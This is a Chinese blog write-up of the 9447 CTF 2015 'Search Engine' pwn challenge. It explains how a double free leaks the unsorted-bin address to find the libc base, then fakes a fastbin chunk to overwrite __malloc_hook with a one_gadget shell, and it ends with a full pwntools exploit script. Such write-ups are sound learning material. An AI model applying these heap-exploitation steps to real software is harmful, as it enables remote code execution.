2015 9447 CTF Search Engine

2015 9447 CTF : Search Engine]

前言

题目下载
于我来说难度不小,但是克服下来收获还是很多的。原文链接,在做这题的过程中确实用到了之前没看懂的部分,很多细节需要自己去实现一下才能搞明白,比如字节错位这样的…
整体利用了double free,泄露unsoredbin地址,任意地址分配。

分析

漏洞点:

在search里仅仅free了,没有设为null,可以再次free

1560308312264

可以进入search的条件,仅仅是fd的位置不为null (我这里idb损坏了,但是可以通过逆向自行标注结构。

1560308474858

利用思路:

  1. 申请一个符合Unsort bin大小的块在释放后会回归到Unsort bin,之后fd和bk会成为unsortedbin的地址,可以进行泄露。
  2. 利用fastbin的double free,进行任意地址分配然后写,修改malloc hook

调试过程

unsortedbin地址泄露

申请一个符合Unsort bin大小的块在释放后会回归到Unsort bin

1560258998623

mem的开头两个位置 FD和BK 由于unsort bin里只有它一个堆块,又是双链表结构,所以都指向unsort bin本身。至此我们可以泄露unsort bin的地址。leak函数如下。通过分析程序功能知道,在存储单词时,每个单词都会有自己的长度与在堆里的地址对应。

结构体如下,顶部先是申请一个我们可控大小的堆来存放完整句子。底下再用0x30大小的堆来存放每个单词,其中FD的位置为单词在完整句子里的地址,BK的位置为单词在完整句子里的长度。然后紧跟着的是句子的地址与句子的长度。

1560309898083

在delete时候,仅仅删除句子内容,不改变底下结构体。所以我们可以搜索\x00来继续查询泄露Unsortedbin地址

1560310155787

def Search(word):
	p.recvuntil('3: Quit\n',timeout=3)
	p.sendline('1')
	p.recvuntil('Enter the word size:\n')
	p.sendline(str(len(word)))
	p.recvuntil('Enter the word:\n')
	p.send(word)


def Index(word):
	p.recvuntil('3: Quit\n',timeout=3)
	p.sendline('2')
	p.recvuntil('Enter the sentence size:\n')
	p.sendline(str(len(word)))
	p.recvuntil('Enter the sentence:\n')
	p.send(word)

def leak():
	Index('a'*0x86+' m ')
	Search('m')
	p.recvuntil('Delete this sentence (y/n)?\n')
	p.sendline('y')
	#gdb.attach(p,'b *0x400b1f')
	Search('\x00')
	p.recvuntil('Found 137: ')
	unsortbin_addr = u64(p.recv(8))
	p.recvuntil('Delete this sentence (y/n)?\n')
	p.sendline('n')
	log.info("success unsort bin addr: "+hex(unsortbin_addr))
	return unsortbin_addr

doublefree

这里的理解比较简单

首先申请大小相同的 a b c三块,然后依次释放 c b a(因为搜索的顺序跟添加顺序相反)。此时fast bin里 a->b->c->null,然后再次释放b就会导致 b->a->b->a…

这里注意的就是 在再次释放b的时候,因为c的fd指向null所以不进入搜索,b第一个进入搜索,所以只再次释放第一个结果,其余的都不再释放。

这里已经完成doublefree

1560263910164

# free c b a (fastbin) a->b->c->null
Index('a'*0x5d+' d ')
Index('b'*0x5d+' d ')
Index('c'*0x5d+' d ')
Search('d')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
# fastbin a->b->a->b...double free
Search('\x00')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')

任意地址alloc

一种方法是直接修改函数的hook,如malloc的hook。

通过我们泄露出来的unsorted bin地址,减去unsorted bin在main arena里的偏移可以计算得到main_arena的地址。利用libc里的main_arena的偏移可以得到libcbase。这里libc里main_arena偏移在malloc_trim函数里找到

1560301586227

找到Libcbase之后,利用one_gadget工具可以在libc里找到 excve(’/bin/sh’)的偏移。这样就不需要控制参数了,十分方便。之后便是对malloc_hook的控制

1560310645607

log.info('unsortedbin addr: '+hex(unsortedbin_addr))
unsortedbin_offset_main_arena = offset_bin_main_arena(0) 
main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
libc_base = main_arena_addr - main_arena_offset
log.info('libc_base addr: '+hex(libc_base))

在malloc的时候,不会检查地址的对齐,只会检查size的大小是否符合。这里之所以构造我们的堆块大小为0x60这是因为(0x60+8)对齐16大小为0x70在fastbin[5]里,而0x7f刚好也对应着fastbin[5]。64位计算方法为 0x7f>>4 -2。而在main_arenahook处,很多地址都以0x7f开头,可以利用字节错位来构造假的size

比如使用这里的7f为size

1560311111396

比较好看的方法是改成一个字节一个字节看,因为小端序,所以我们应该把0x7f放到size位的低地址处。即放到这里,所以地址减3即可

1560311441942

1560311470681

这样就构造完成了,剩下的只是一些padding,只要让我们的one_gadget填充到malloc hook即可。地址的选择有很多

总的payload

from pwn import *
from LibcSearcher import LibcSearcher
filename = 'search'
elf = ELF('./'+filename)
context.binary = filename
context.log_level = 'debug'
#p = remote('localhost',4000)
p = process('./'+filename)
#------------------------------initialize-------------------------------------------------- 

def Search(word):
	p.recvuntil('3: Quit\n',timeout=3)
	p.sendline('1')
	p.recvuntil('Enter the word size:\n')
	p.sendline(str(len(word)))
	p.recvuntil('Enter the word:\n')
	p.send(word)


def Index(word):
	p.recvuntil('3: Quit\n',timeout=3)
	p.sendline('2')
	p.recvuntil('Enter the sentence size:\n')
	p.sendline(str(len(word)))
	p.recvuntil('Enter the sentence:\n')
	p.send(word)

def leak():
	Index('a'*0x86+' m ')
	Search('m')
	p.recvuntil('Delete this sentence (y/n)?\n')
	p.sendline('y')
	#gdb.attach(p,'b *0x400b1f')
	Search('\x00')
	p.recvuntil('Found 137: ')
	unsortbin_addr = u64(p.recv(8))
	p.recvuntil('Delete this sentence (y/n)?\n')
	p.sendline('n')
	log.info("success unsort bin addr: "+hex(unsortbin_addr))
	return unsortbin_addr

def offset_bin_main_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4  # lock
    offset += 4  # flags
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    offset -= word_bytes * 2  # bin overlap
    return offset 

main_arena_offset = 0x3c4b20
#gdb.attach(p,"b *0x400b46")    	
unsortedbin_addr = leak()
log.info('unsortedbin addr: '+hex(unsortedbin_addr))
unsortedbin_offset_main_arena = offset_bin_main_arena(0) 
main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
libc_base = main_arena_addr - main_arena_offset
log.info('libc_base addr: '+hex(libc_base))


# free c b a (fastbin) a->b->c->null
Index('a'*0x5d+' d ')
Index('b'*0x5d+' d ')
Index('c'*0x5d+' d ')
Search('d')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
# fastbin a->b->a->b...double free
Search('\x00')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('y')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')
p.recvuntil('Delete this sentence (y/n)?\n')
p.sendline('n')


  
fake_chunk_addr = main_arena_addr - 35
fake_chunk = p64(fake_chunk_addr).ljust(0x60, 'f')
one_gadget_addr = 0x4526a + libc_base
gdb.attach(p,'b *0x400c00')
Index(fake_chunk)
Index('a'*0x60)
Index('a'*0x60)
payload = 'a'*3
payload += p64(one_gadget_addr)
payload = payload.ljust(0x60, 'f')
Index(payload)


p.interactive()

总结

该题收获了许多,Unsortedbin地址泄露来计算libc基址,one_gadget的使用,关于FASTBIN的攻击。但是在面对题目的时候明显感觉到,首先要逆向出题目的功能甚至细节,这样才能找到漏洞并想到如何利用。

明日计划

  1. 复习大物
  2. 继续练习heap攻击方式
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章